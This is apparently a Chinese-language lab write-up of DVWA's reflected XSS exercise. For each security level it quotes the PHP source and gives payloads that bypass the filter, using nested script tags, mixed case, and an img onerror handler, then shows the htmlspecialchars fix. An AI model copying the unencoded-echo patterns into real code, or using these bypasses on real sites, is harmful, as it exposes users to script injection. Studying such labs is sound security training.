### 1、反射型xss
### ①、low
漏洞代碼:
```
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
```
分析與利用:
直接通過$_GET方式獲取name的值,之后未進行任何編碼和過濾,導(dǎo)致用戶輸入一段js腳本會執(zhí)行。
構(gòu)造payload:
```
<script>alert(/xss/)</script>
```
直接執(zhí)行代碼,如下圖:
![](/upload/attach/201710/201710161527_vwboguc6hyhtpe0.jpg)
### ②、medium
漏洞代碼:
```
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
```
分析與利用:
str_replace對輸入的<script>標簽進行替換為空,這樣當在輸入上面low等級的payload的時候,就會進行過濾導(dǎo)致代碼執(zhí)行不成功,此時可以多寫入一個<script>, 如
```<scrip<script>t>alert(/xss/)</script>```,過濾方法把中間的<script>標簽替換為空之后 <scrip 與t>重新組合一個<script>,成功執(zhí)行代碼。
也可以構(gòu)造別的標簽 如```<img src=0 onerror=alert(/xss1/)> ```
或者把標簽轉(zhuǎn)換大小寫的方式進行繞過``` <scRipt>alert(/xss2/)</sCript>```
### ③、high
漏洞代碼:
```
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
```
分析與利用:
preg_replace執(zhí)行一個正則表達式的搜索和替換,這時候不論是大小寫、雙層<script>都無法繞過,此時可以使用別的標簽,比如剛剛使用過的<img>,構(gòu)造payload
```<img src=0 onerror=alert(/xss/)>```
執(zhí)行payload之后URL變化為:
http://localhost/dvwa/vulnerabilities/xss_r/?name=%3Cimg+src%3D0+onerror%3Dalert%28%2Fxss%2F%29%3E#
### ④、impossible
安全代碼:
```
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
```
分析:
Htmlspecialchars方法將用戶輸入的特殊字符轉(zhuǎn)換為 HTML 實體,< > “ ‘ &等字符會被轉(zhuǎn)換,于是不存在xss漏洞。